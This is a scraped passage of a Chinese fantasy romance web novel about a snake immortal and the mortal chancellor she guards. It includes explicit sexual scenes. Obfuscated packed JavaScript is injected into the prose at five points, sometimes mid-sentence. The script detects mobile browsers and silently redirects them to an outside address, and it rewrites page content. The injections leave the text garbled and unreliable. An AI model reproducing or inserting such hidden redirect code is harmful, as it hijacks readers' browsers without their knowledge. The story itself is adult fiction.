阿青的尾巴缠在袁颂的腰上和腿上,随着越晃越厉害的水波,也越缠越紧。 阿青叫袁颂他不应,叫相公他也不理,最后没办法了,胡乱叫了一声哥哥,袁颂忽然战栗着将头一低,浸着薄汗的额角就抵在她额上,睁着一双通红的眼睛就一瞬不瞬地盯着她,简直像看仇人一样。 唇线也抿得紧紧的,心跳却快得像打鼓。 他的眼睛是红的,耳朵是红的,就连脖颈红得也像是在滴血,欲语还休地保持着沉默。 “阿青。” 他声音沉得厉害。 “干嘛?” 她缓缓松开缠在他身上的尾巴,想推他却推不开。 偃旗息鼓的袁颂伏在她身上情绪很复杂地长叹了一口气。 “……下次想要我的命就直说。” 阿青:“……?” 上天有好生之德,她堂堂一个神仙,要他区区一个凡人的命有什么用? 难不成还要拘了他的魂放在锁魂灯里当宠物玩么? 真是的。 根本搞不懂长公子。 25. 025-结发 025 阿青躺在袁颂怀里的时候,整个人都是神游天外的。 三更天,两个人不着寸缕,并肩靠在一起,居然也不觉得困。 不言不语不出声,安安静静地待在一块儿也意外地舒适。 床头烛光跳动,静谧到短暂的朝夕相伴也能一瞬永恒。 阿青把脑袋枕在袁颂的手臂上,百无聊赖地开始玩起他的长发。 袁颂的头发很黑,粗硬的发质,坠在手里沉甸甸的、根根分明得很有分量,放到鼻端细闻,还有一股淡淡的冷竹香,是很干净的气味。 袁颂有一下没一下地轻抚她后背,轻轻吻了一下她发顶,想到先前两人在暖池里的一番胡来,忍不住喟叹:“神仙果然千变万化。” 阿青不以为意:“这算什么?” 百面千相于她看来,都是末法,上不了台面。 呼风唤雨、镇山移海才是一个神仙的大神通。 “不算什么吗?”袁颂失笑,“阿青,那倘若你日后再幻化别的人形,我要怎么样才能认出你?” 仙人自有仙法,凡人又怎么能窥破天机? 只是她行不改名坐不改姓,向来懒得变不同的脸蒙混于世,反正下界这种事,有一次就够了,等她回了九重天,就再也不下凡了。 阿青翻了个身,背对着袁颂,漫不经心地说:“要不然我给你片我的鳞,鳞要是发光了,就是我在你身边不远的意思。” 袁颂眼睛亮了一下:“当真?” 阿青:“骗你是小狗。” 哄人么,她总是会的。 毕竟她一个神仙才不怕做小狗,她最怕的毒誓是一辈子吃不着好东西。 袁颂:“那你的鳞,拿下来会痛吗?” 阿青:“我通身一千八百块鳞,什么时候丢了一块我都不知道,怎么可能会痛?” 她说着,伸手到被子里,窸窸窣窣一阵动,像是真的随手不知道给他从哪扣了一块鳞下来,起身想确认有没有扣错的时候,忽然头皮被扯了一下,痛得她“哎呦”了一声回过头。 脑后的长发不知道什么时候被他编在一起。 阿青捏着自己鳞片一脸不解:“你干嘛要把我们俩头发缠一起?” “无事,只是方才无聊,随手编一下发而已。” 阿青心想,他无聊折腾他自己的头发不就好了,干嘛连着她的头发一起折腾? 然而对上她眼里的不满,烛火里,袁颂眉眼温柔,只笑着说等天亮了他自会来解开。 结发和解发都是精细活,阿青做不来,只能对方说什么就是什么,心里想着正事,便将鳞片递到袁颂眼底:“喏,你看,是不是在发光?” 不同于她蛇尾的那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305743|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨绿色鳞片,手里这块光溜溜的黑鳞,即便在幽幽的烛火下也散发着淡淡的华光,好似五彩斑斓的一瓣莲。 先前在暖池里,他总觉得阿青的鳞片应当没有这种硬度,但又料想扣下来的鳞片失去神仙血肉的滋养,会发黑变硬似乎也解释得通。 袁颂怔怔地盯着眼前的蛇鳞良久,喃声问:“不远是多远?” 阿青愣了片刻,才意识到他是在问,鳞片发光的时候,她最远会在距离他多远的地方,想了想:“十丈之内吧。” 袁颂释然地扯了一下唇,似失意似怅然地轻笑了声:“那是不远,我应当能够找到你。” 他妥帖地将蛇鳞放在枕下,便揽着她的腰,吹熄了灯。 空寂的宅院没有第三人,让同床共枕也像一场厮守终身。 安静的窗外有雀鸟立在树头低鸣。 阿青睁眼看着黑漆漆的帐顶,默默算着他生死簿上的时间,有些不放心地叫了声“袁颂”。 “怎么?” “唔,就是,我也不是那种见谁就抠鳞片送人的大方神仙,”阿青支支吾吾的语气有点迟疑,但又不希望他多想,所以尽力让自己的语气听起来风轻云淡的无所谓,“所以,给你的蛇鳞呢,不可转赠他人,也不可随意弃置,毕竟灵器也需要血气滋养,你要时时把它带在身边,才不至于让灵器失效,知道吗?” 26. 026-蛇鳞 026 袁颂知道她是个对任何事情都提不起太多关照情绪的神仙,懒自不必说,更重要的是,她并不太爱管闲事,所以于寂夜中听她叮嘱,总有一种很异样、很莫名的情绪笼罩着他——虚无缥缈、捉摸不定,也让人想不明白。 然而直到几日后的东山狩猎,被叛军的流矢射中胸口却毫发无损的那一瞬间,他从心口摸到那片坚硬的蛇鳞的时候,就算有再不明白的事情,也全都明白了。 只是心念还来不及动,忽然暗下来的天空仿若永夜无光。 狂风骤起,雷霆高悬,乌云漩涡,大雨倾盆。 雪亮的闪电划破天际,惊天的震雷就打在了袁府所在的方位。 东山的叛军围剿兵荒马乱,袁颂来不及照计划清算叛党,便急着纵马回府确认情况。 一路上,那块黑色的蛇鳞被他牢牢攥在手里,尖锐的边角抵在掌肉里,直到割破皮肤,划开浅浅的口子。 袁颂看着游絮一样的血丝渗进黑鳞里,也不觉得疼,只是担心阿青的状况。 张真人的手书里形容过天劫惊雷的威力。 与普通的电闪雷鸣不同,天雷落下的时候有火光,自带熔浆的高温,能劈焦五脏六腑,是天道对不守规矩的仙人的一次行刑。 为了不改变凡间自然轨迹,下凡的神仙要守很多规矩,其中最忌讳的,就是擅改他人命格。 因为任何的变数都会引起不同程度的因果业报,造成的影响或大或小,也直接决定了天雷落下来的分量。 随着骑程距离的缩短,掌心里的蛇鳞开始微泛出很淡很柔和的华光,袁颂在担心之余,居然有一丝莫名的心安。 只是东山猎场上空亮起的那道能够摧枯拉朽的闪电,总让他莫名有种似曾相识的感觉,隐约间,竟让他怀疑仿佛是第二次经历。 袁颂自幼记忆力惊人,却怎么也想不起先前发生的那一次。 或许是他在林溪山里错过的记忆。 但他自幻境中醒来时,只觉得那个郁郁葱葱的山顶再宁静祥和不过,一片草长莺飞,欣欣向荣,根本也不像是经历过彻夜恐怖的狂风骤雨。 当初的阿青也只是很乖巧地趴在石桌上睡觉,像无聊地等了他一夜似的,被他摇醒,揉着眼睛很不满意地撇了一下唇,伸手要他抱。 踏入庭院的时候,袁颂已无暇仔细回想林溪山里的怪异,顾不得府上下人惊异不解的目光,到处叫阿青的名字,直到在开遍莲花的池子里听见破水的声音。 袁颂循声望过去,发现浑身湿透的阿青就趴在岸边——脸色苍白,黏在脸上的发梢还滴着水,大半个身体还沉在水下,看不清伤势。 入了秋的池水本该带着透骨的凉意,然而此刻沸腾的池面冒着滚烫的白烟,将一池的莲花都烫蔫地委浮在水面。 印象里的阿青总是一副什么都无关紧要、游刃有余的模样,拿捏着神仙无所不能的姿态。 他头一回见她这样虚弱,湿漉漉的羽衣褪去原有的青色,苍白地贴在她身上,看起来单薄得竟像个风一吹就会倒下来的纸人。 袁颂一颗心像被揉皱的宣纸,每呼吸一口气,都觉得五脏六腑痛得像火烧。 下意识伸手想要去扶她,阿青却只是缩起肩膀躲了他一下,摆手示意她可以自己站起来。 羽衣底下的皮肤还在灼烧,袁颂的肉体凡胎,要真碰到了,不知道该疼成什么样子。 她是个神仙,总不能在凡人面前露短,不然也太掉份儿了,有损天界颜面。 其实她对天雷是有预期的。 但哪想到,这雷打到身上居然这么痛。 还以为羽化已经是一个神仙的极限了,没想到在天道的惩戒面前,居然也只是不值一提的一碟小菜。 要不是这段时间人杰地灵的袁府给她的灵力反哺,就刚才那道天雷的威力,估计都能把她打回真正的原型,送她去大荒山顶还能再做一回石头。 乐观一点想,她也算是见过世面了。 在袁颂一脸心急如焚的忧虑里,阿青给他递了一个“我自己来”的眼神,然后就拖着湿漉漉的身子,慢吞吞地坐到了廊下。 强行用仙力压了压羽衣下的灼烧感,她定了定神,懒惫地靠在廊柱上打量袁颂。 极英俊的一张脸,眼角眉梢里,都是世族贵公子从容款然的气度。 经过几个月的官场历练,已隐隐透出权臣不可一世的傲气。 但五官依旧还是离不开“绝色”这个词。 漂亮的一双狐狸眼,眸中自带三分令人沉溺的雪光。 静默时好看,动作时也好看。 皱眉好看,展眉也好看。 就连现在这样,脸上沾着血,也有一种阴鸷的、偏执的、残忍的、疯魔而脆弱的好看。 袁颂的脸上沾着不属于他的血,贵公子的锦衣衣摆上全是斑斑驳驳的血迹,在赶回来的路上被雨水打湿,晕得鞋面都是暗红色的血,显然是经历过一场难以言喻的恶战。 确认袁颂毫发无伤。 阿青彻底放心了,免不了沾沾自喜地在心里自夸一句自己的神通。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305744|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很轻地扯了一下唇,本能地伸手想去擦袁颂脸上的血。 然而胳膊一抬,就觉得全身的筋骨都要被天雷给打散了,伸到半空的手正要悻悻然地收回来,却被袁颂接过,将她的掌心贴在了他的脸上。 也许是担心她身体不适,也许又仅仅只是想跟她拉近距离,袁颂在她身前蹲下身子,虔诚而温柔地仰视她,用冰凉的脸颊去熨帖她滚烫的手掌,轻声解释道:“陛下刚登基,朝局动荡,董后的余孽在暗中设局企图谋划一场暗杀,并另立外姓藩王改朝换代,我便跟陛下商议,不如趁此机会,将计就计,以狩猎为幌,引叛党倾巢而出,然后一网打尽。” 各种布局和凶险不必细说,也不重要,入局的所有人都在拿命相搏。 阿青当然知道袁颂是个顶聪明的人,她甚至严重怀疑,刚才那道天雷之所以打得她那么痛,搞不好被她暗改了国运都说不定。 “是不是让你担心了?” 袁颂欲言又止,眸中却蕴出不可置信的期待。 琥珀色的瞳孔里有柔情万状,像月下粼粼波动的水面,映出越来越盛的光芒。 担心么? 她好像是没担心过的。 毕竟以她的法力,给他的蛇鳞无论如何都能护他周全。 要是连这点小事都做不到的话,她未免也太对不起自己的仙阶了。 阿青很自然地摇了摇头。 袁颂眸中光芒微微黯淡了一寸,抿直的唇角轻轻动了动,像是有千言万语,却生生忍着没说。 五脏六腑的灼烧感下降,阿青终于缓过神来,然后才漫不经心地轻轻嗤了声,开了口:“不然你以为什么叫守护灵,当真是供在你们祠堂里做摆设用的么?” 她脸上的轻描淡写显露无疑,轻飘飘地也像是在说一件无关紧要的事,仿佛是在告诉他,自己是法力通天的仙人,世间任何事也难不倒她。 可张陵的手书里分明写得一清二楚。 守护灵守的是一家的气运,气运不散,家业无损。 这世间没有任何守护灵,敢违天道,干涉凡人寿数,除非她不要命。 那支瞄准他射出来的弓弩拉出十层力,撞得他直坠下马,心脏被这股巨大的冲击力都抵得起伏不定,而本该收在怀里的蛇鳞却仿若有灵似地护在了他的胸口,替他硬生生抗下了那一箭。 袁颂黯然垂下的目光,再次在短暂的镇定后,重新灼灼地望进了她眼底,他听见自己微微滞涩的、试探到甚至有些小心翼翼的声音。 “真的,只是因为这个?” 27. 027-美色 027 阿青听他问得古怪,不解地皱起眉:“不然呢?” “你有没有想过,也许,”袁颂的目光定定地落在她苍白的脸上,谨慎地不想错过她任何细微的表情,“还有其他的可能?” 守护灵不需要冒险做到这一步。 或许,在神仙一望无垠的心湖里,也曾短暂地出现过他的倒影。 哪怕仅仅只是一瞬间的心动。 阿青:“比如?” “比如,你对我的想法,跟我对你的想法,很可能是一样的,只是你自己不知道。” 袁颂看着她,一字一顿说得极慢,耐心的样子,循循善诱地像教稚童这世间最简单的笔画。 阿青从来都不是一个会多管闲事的神仙。 爱偷懒的咸鱼仙人,能省一分力气,就绝不浪费本该用来睡觉的时间做任何没有收益的事情。 袁颂心里很乱。 担心她伤势,却也知道自己无能为力——因为只要阿青不说,他永远无从得知真相。 然而心里某个隐秘的地方,却又不见光地想要确认一种可能。 彼此之间像隔着一层薄而透的纸门,他第一次在门外窥见门内不可思议的微光,于是大着胆子在门前踟蹰,却又难免瞻前顾后、举棋不定。 不知门内等着自己的,到底是什么。 阿青笑了,露出一副神仙面对凡人时的揶揄:“这世间还有你知道我却不知道的事情?” “我当然知道,”袁颂仍认认真真看着她,眉峰轻动,“不然你为何要花这么大的力气救我?” “不是说了么,既是你袁家的守护灵,总要做得像模像样才是,”阿青叹了口气,觉得袁颂又莫名开始犯蠢,“好不容易将你送到宰相的位置,总不能就让你这么莫名其妙送命了吧?” 想到那天在暖池里,替他变的那几张世家小姐的脸,阿青在心里默默叹了一口气,忍不住偷偷腹诽,虽然袁颂这个宰相,脾气不好还喜欢恩将仇报,但仙人不记凡人仇,她才不跟他一般计较。 “你都不知道,虽然以我的仙阶做你家的守护灵,多少有点杀鸡用牛刀了,但是呢,好歹我这个守护灵也算是做得前无古人后无来者,在你们凡间,皇权富贵,天子排第一,宰相排第二,真龙天子自有天命守护,就连真武大帝都干涉不了他们的命数,但宰相却不是人人都能做的,以后等蟠桃宴上与众仙家聚首,我跟别人吹嘘的时候,可有得说了呢。” 但是,她绝对绝对不会告诉任何人,她是被人诓骗进了法阵,被迫做了袁家的守护灵,她一定会将自己包装成一个乐善好施、广结善缘、懂得投资的聪明神仙,叫别人一听她的际遇,就要对她的眼光五体投地! 袁颂只觉得那扇纸门背后亮起的微光晃然而过,一下子暗下来的前路又渺茫得令人沮丧。 他微微蹙起的眉心像是在埋怨她笨,握着她手掌的手指也跟着微微收紧,却不想就这样轻易放过这个难得的机会。 再开口时,语气竟是跟她赌气般的不甘心,炽烈的眸光烙进她的瞳孔里:“宰相有什么了不起,你要是单纯只想跟人吹嘘,那我替你去争个皇位也无所谓。” 哇哦。 怎么合该名垂青史的忠臣居然也有肖想做皇帝的一天? 就不怕他袁家列祖列宗在九泉之下气呼呼地从棺材里爬出来敲他脑袋? 阿青被他的豪言壮语逗笑了,上上下下打量了一眼袁颂,不知道是该跟他说实话呢,还是劝他慎重考虑,趁早死了当皇帝的心。 毕竟九五之尊是天命所归,不出什么意外的话,一个一个都排着号呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305745|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪是寻常人想做就做的? 要是他真做了皇帝,她恐怕真的要被天雷打到魂飞魄散了。 “袁颂,人各有命。” 鉴于袁颂这人太有本事,谨慎起见,阿青不敢用话激他,免得一朝棋错,害她吃苦。 想从他掌心里把手抽回来,对他动之以情晓之以理,可对方不让她如愿,她没办法,只能牢牢抚住他的脸。 袁颂生得一对很好看的眼睛,淡色的琉璃瞳孔像浸在水里的宝石一样,一瞬不瞬盯着她瞧的时候,专注缱绻得会让人觉得好似他这人生二十岁不到的光景,汲汲营营,也只是为了在这尘世间等她一世。 刚刚下过暴雨的日头阳光干净得泛着白,落在他澈然澄静的眼眸中,闪出如星的碎光,看得她总感觉自己身上的伤都好了大半。 “美色误人”这四个字,真是神仙也难幸免。 阿青不是一个瞻前顾后、举棋不定的神仙,从来都不喜欢为做过的决定后悔。 当初被张陵骗到袁家之后,也就懊恼了几日,就说服自己既来之则安之。 至于给袁颂暗改命格一事,虽未经过严密的深思熟虑,单纯只是想到了,便做了,挨一道天雷,也是她应得的。 这时候被他这样温温柔柔地注视着,甚至觉得自己这鳞片,送得很恰到好处,相当划算。 “你这年纪能做到宰相就已经很厉害了,做皇帝有什么意思呢?毕竟,宰相是可以偷懒的,但皇帝就——” “阿青。” 说了一半的话被打断,袁颂似乎是失去了所有耐心,紧紧盯着她的眼睛,于迷雾中,大胆地将手掌贴在了那扇薄透的门扉上。 “你就是舍不得我,你舍不得我死。” “……” “承认这一点,有这么难吗?” 28. 028-汤圆 028 纤薄的竹叶积不住雨水的重量,风一吹,竹影一摇,晶莹剔透的一滴雨就砸在花坛底部的观景鹅卵石上。 阿青怔怔地看着袁颂渐渐收起那点灼灼的咄咄逼人,听他问:“我说对了吗?” 在袁颂小心翼翼的期待里,她认真地想了片刻,然后回了一个“是”。 似乎是没想到她会承认得这么爽快,这回反轮到袁颂手足无措,难以置信地微张着唇,不可思议撑圆的瞳孔里,映出阿青一张平静到几乎找不出情绪的脸。 阿青的目光落在两人手腕上越来越弱的命契红线上,迟滞了片刻,就不动声色地从他掌心里抽回手。 天雷不愧是天雷,凡间宵小施在自己身上的咒术,根本难以雷劫的威力。 早知落一道雷就能重获自由,她这几百年就不该睡得那么安稳,还是得造作一番,给这些平头百姓们一点点神仙的震撼。 然而回味了一下刚刚那道雷落在身上的滋味,阿青又迅速地在脑子里把这种狗胆包天的念头赶跑了。 她就算在凡间流离失所、没有供奉饥肠辘辘一千年,也不要再吃一次这种苦。 “阿青。” 袁颂叫了声她的名字,原本抿得又紧又直的唇角动了动,忽然对她露出了一个像是要哭了又像是在笑的表情,微微泛红的眼尾又勾上了她的注意力。 “我很开心。” 她觉得袁颂应当是真的像他说的一样,是在高兴的,但偏偏那双漂亮的狐狸眼却像是泡在水里一样,在眼眶里团出了一层很氤氲的雾气,莹莹亮亮的,很有些好看,像竹叶上的雨水落在青絮玉石上,有一种破碎的美感。 阿青想伸手摸一下他的眼睛,却被袁颂下意识别开的脸躲了过去,只给她留了一道冷峻孤绝的侧脸线条和一个微微颤动的肩膀。 阿青:“……” 好吧。 不让摸就不摸吧。 但是她想不明白,为什么仅仅只是因为她舍不得他死这种事情,也会让他这样喜出望外。 难怪都说凡人成仙难,这么容易就心绪起伏,简直就是培养心魔的温床。 只是袁颂迟早是要死的。 凡人的寿数总有尽头。 她又不可能像某位同样从石头里蹦出来的前辈一样,去地府里替他勾对生死簿。 所以就算真舍不得他死,也是没办法的事情。 她只是做了寻常守护灵没办法做到的事情,仅此而已。 谁叫他运气好,碰见她这样一个法力超群、神通广大、还勉强称得上皮糙肉厚的神仙呢? 不知道袁颂到底在开心什么东西。 只是现在身上又疼起来,阿青便像往常一样伸出手,催促袁颂抱她回房里休息。 袁颂:“身上脏,都是血。” 阿青还来不及叹气,袁颂便脱了外袍,将她整个人包进了怀里。 他不知道她伤势,所以抱也抱得小心翼翼,根本不敢用力。 跟淡淡的细雪冷竹香一起笼罩住她的,还有袁颂身上那股独属于少年人的炙热体温。 是活的。 热的。 心脏跳动的每一下,都如擂鼓般有力的。 阿青不知道为什么,今天格外喜欢他身上的味道。 于是就很安然地把脸枕在了他的肩上,甚至觉得有那么一瞬间,时间都好像停了下来。 阿青受伤之后,每日睡觉的时间反而被无限拉长——一来本就是到了冬季,她的蛇性犯困,二来也是为了更快疗伤。 袁颂就算有心跟她亲近,也怕投鼠忌器伤到她,不敢再想以前一样放肆胡来,只是习惯了抱她入睡,可即便两个人躺在一张床上什么也不做,却依旧有一种静水流年的感觉。 时间过得很快,转眼就到了年末。 除夕夜的袁府张灯结彩,热闹非凡,袁颂在宫宴里喝了不少酒,本来回府之后还要同族里的叔伯一起看戏寒暄,但他一进门,就熟练地开始在袁在望面前装醉,老父亲本想就朝中新政的事情关照关照儿子,但又实在心疼他年前忙得早出晚归,便摆了摆手,提早放他回自己院子里休息。 结果一踏进院子里,精神抖擞的袁颂就屏退了外院的仆从,挽起袖子去厨房里做了两碗汤圆出来。 上京里的习俗,是团圆的除夕夜要吃汤圆。 红泥小火炉里煮着绿茶,橙黄的橘子和柿子被一并搁在铁网上蒸香。 碳火烤出的牛肉片上滋滋地冒着油响。 巷口的打更人敲着梆子慢吞吞地走过夜里,放在棋案石桌上的两碗汤圆,就成为了袁颂跟阿青两个人的新年。 阿青嚼着糯叽叽的芝麻汤圆,看了眼正在旁边给牛肉刷酱的袁颂,问他为什么不一起趁热把汤圆吃掉。 袁颂很自然地抬起头:“你不是还没吃完?” 东山的叛军被彻底清缴清算,牵出一堆冤假错案,他这段时间忙得脚不沾地,已有一个多月没跟她一起吃过饭,但神仙吃贡品的秉性却一直记在心里。 “一碗是红豆馅的,一碗是芝麻馅的,我出门前吩咐过厨娘,给你做笋丁鲜肉的,但下人打包的时候,只记得我爱吃甜食,就漏了那份咸口的馅,本想都给你尝尝的。” 阿青捏着汤勺静静地看了他片刻,忽然从自己碗里舀了三颗芝麻馅的汤圆,换走了另一碗里红豆馅的三颗,然后将红豆的那一碗推到袁颂面前,说:“我吃东西只是为了满足一时的口腹之欲,无所谓饥和饱,单纯尝个味道就行,这个汤圆皮好糯的,冷了就不好吃了。” 其实她还是太嘴馋了。 毕竟寻常神仙压根就不食五谷,他们只要闻闻贡品的味道,就已经能够感受到信徒的虔诚了。 偏偏她最贪心,一定要吃到肚子里才觉得踏实。 大概是她的表情太过泰然寻常,袁颂花了点时间,才弄清楚她的言外之意,有些不能置信地看了看那碗冒着热气的汤圆,又看了看她,不确定地问:“我跟你,一起吃?” 阿青:“不然呢?” 袁颂垂着眼帘出了片刻神,忽然抬起头冲她笑了一下,拿余光点了点自己手上烤牛肉的餐具,故作为难地问她:“那这肉谁来烤?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305746|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿青嘴里叼了口汤圆,嚼嚼嚼:……是哦。 袁颂挪着椅子朝她靠过来,一双明亮的狐狸眼里藏住星星:“你喂我。” 喂袁颂吃东西并不耽误阿青进食,她单纯就是不明白,他今晚心情为什么这么好。 凡人过年长一岁,距离死期就更近一步,怎么想都不值得高兴吧? “你这么开心干什么?” 袁颂两腮各填了两颗汤圆,撑得面颊都鼓鼓的,他一生少有这样心满意足的时刻,于是难得很孩子气地冲她撇了一下嘴,含糊又得意地说:“你们神仙不是很聪明,这样都想不明白?” 吃了那么多次阿青剩下来的贡品,但眼前这两碗汤圆,却是他吃得最高兴的一次。 不枉他煮汤圆时,悄悄许的那个新年愿望。 阿青假装自己听懂了,然后很记仇地抢下了即将进入袁颂嘴里的一块牛肉。 袁颂今夜心情大好,自然胃口极佳。 大快朵颐地吃完了两人剩下的所有事物,还嫌不够,俯身就去勾她嘴里芝麻酱的味道。 阿青被抱着在摇椅上亲了好一会儿,感受着他身上越来越热的体温,听他问她身上还疼不疼。 其实是不疼了,伤势也好得七七八八。 命契替她承担了一部分的伤害,加上袁府本身如日中天的声望,对她的恢复帮助很大。 袁颂亲够了,温热的呼吸喷在她脸上,黏黏糊糊地问她知不知道隔了多久。 “四十六天。” 阿青都不知道自己是怎么脱口而出的,明明也没算过日子。 袁颂的眉梢轻轻往上抬了一下,狐狸眼里的笑意就浮上来,修长的手指搭在她羽衣的结扣上,问她除夕夜行不行。 阿青认真感受了一下绷在自己腿上的东西,认为袁颂这话问得很没说服力,他这样可观的摆设,明明是一副“她不行也得行”的架势。 但她的确也是有一段时间没有吃过绝世美鸭了,被他亲得相当心猿意马,却还是下意识看了眼手腕上已经彻底消失的命契,失了片刻神,然后二话没说,大大方方地就跨到了袁颂的身上。 摇椅随着两人亲吻的动作一前一后地摇。 阿青踩着他的肩膀,葡萄一样的脚趾在月光下微微蜷缩,直到袁颂抬起头,宫宴上喝下去的那些佳酿终于慢吞吞地泛出酒劲,他再次将食指和无名指抵进去勾了勾,很放肆地问阿青是什么馅。 阿青盯着他湿漉漉的下巴,神游天外地想自己今晚除了红豆沙和芝麻酱,也没吃过别的口味的汤圆,放空的脑袋就顺着他的话往下问:“什么馅?” 袁颂望着她的眼睛亮晶晶的:“好像是桃子馅的。” 庭院里有小型的用于观景的竹流引泉,清澈的泉水在大小不一的竹片里起起落落,涓细绵流的水声不绝于耳。 袁颂抱着她坐起来的时候,阿青被他的体温烫到本能地抖了一下,想往上跑,却被他按着肩膀重重地压了下去。 就着不知道从哪里来的水流声,袁颂亲着她的耳朵,笑了:“我们再弄一点馅出来?” 29.029-糖葫芦 029 除夕夜,袁颂的汤圆是吃爽了,阿青却很难得地失眠了,她坐在之前胡闹过的摇椅上,出神地看着烤肉炉里的灰烬。 两人居住的小院落在偌大袁府相当于一个独立的存在,不用担心外人闯入,让她有足够的时间去想为什么。 之所以那么清楚地记得四十六天的间隔,原因无他,单纯只是因为命契在她受伤的那天晚上就自动解开了。 她跟袁颂本该是守护灵跟贡品的关系,但她既然那么长一段时间都没吃贡品了,也不知道还留在这里浪费时间做什么。 在小小的一个袁府里疗伤,哪有回她的宫殿里疗伤恢复得快? 总不至于是馋袁府里的这些美食? 可就算是山珍海味,吃多了也不过如此。 还不如袁颂弹的琴好听。 还不如袁颂哄她入睡讲的那些志怪故事有意思。 阿青独自看了会月亮,想不出个所以然,又睡不着,于是就很不客气地回屋把袁颂摇醒了。 袁颂白天在朝廷里劳心劳力,除夕夜又吃了几种不同的汤圆,梦里正在妆匣铺子里学怎么给阿青挽妇人髻。 好梦自古难醒。 迷迷糊糊里感受到有人拉着他的手,按在了一个异样柔软的地方。 袁颂费力地睁开惺忪睡眼,对上阿青一脸“大事不妙”的凝重,顷刻间意识就醒了大半。 “怎么了?” 无灯的寝室内黑漆漆的,让对视的氛围无端染上一丝莫名的诡谲。 阿青坐在床沿,拉着袁颂的手贴在胸口上,引着他的五指隔着羽衣捏了捏,神秘而紧张地问:“你有没有觉得,哪里不对劲?” 袁颂也不知道自己就是睡了个觉,一睁眼就能吃这么好,一时间甚至分不清刚刚那个美梦到底醒没醒,感受着掌中隆起的弧度,晕乎乎地不确定道:“好像……长大了一点?” 阿青的思路被带偏了,震惊道:“是吗?是我最近吃太多了吗?” 只是长大了吗? 那为什么她刚刚在院子里坐着的时候,感觉里头空空的,又酸又堵,难受得她睡不着觉? 可就跟袁颂说了几句话的功夫,她好像也没有之前那么不舒服了。 袁颂也不知道阿青大晚上来这一出是要干什么,只能伸出另一只手,认真地在她另一侧的胸口感受了一下,下结论道:“……可能是。” 阿青:“……” 袁颂喉结轻咽,感受着掌心下的柔软,想到晚间去厨房里找汤圆时,几个下人们聚在一起聊的天,便将听到的墙根和阿青仔细地讲了一遍。 “所以,会不会是最近酒酿吃多了?” 神仙受伤,他也不知道要怎么照顾,翻了好些医书,问了几个道士,才给她整理出了食谱,结果今晚墙角一听,才发现居然有大胆的下人根据他给的那些方子,猜他可能是在房里藏了个女人,正在偷偷摸摸坐月子。 袁颂无言,干脆直接对阿青删除了这段让人尴尬的记忆。 阿青对凡间的食补一说将信将疑:“原来酒酿还有这作用?可我是个神仙啊,按理这种东西,不可能对我有什么影响吧?” “……” “毕竟,你们凡间的毒药对我都没什么效用,区区几碗酒酿,怎么可能会影响到我?” 袁颂拿不准,也只好沉默。 阿青头都大了:“但我总觉得不对劲,我活了两千岁,就没这么不舒服过,刚才怎么都睡不着。” 袁颂听完阿青对不适的描述,也束手无策,但唯一能够判断的是,这不是来源于身体内部脏腑的问题,反而更像是某种情绪引导出的不适。 “那要不然,我给你揉一揉?”他想了想,认真道,“小时候我胸口不舒服的时候,我乳母就是这样安抚我的。” 袁颂说话的口吻实在太过正经,正经得阿青都不好意思质问他是不是打了别的什么算盘,但未免又被他得逞,她只能严肃地板起脸:“袁颂,我今晚已经做不了汤圆了。” 她顿了顿,义正言辞地补充道:“馅料不够了。” 袁颂是真的担心她,所以一开始确实没往那个方向想,被她这样一提醒,也觉得自己刚才的想法很有此地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308393|167199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 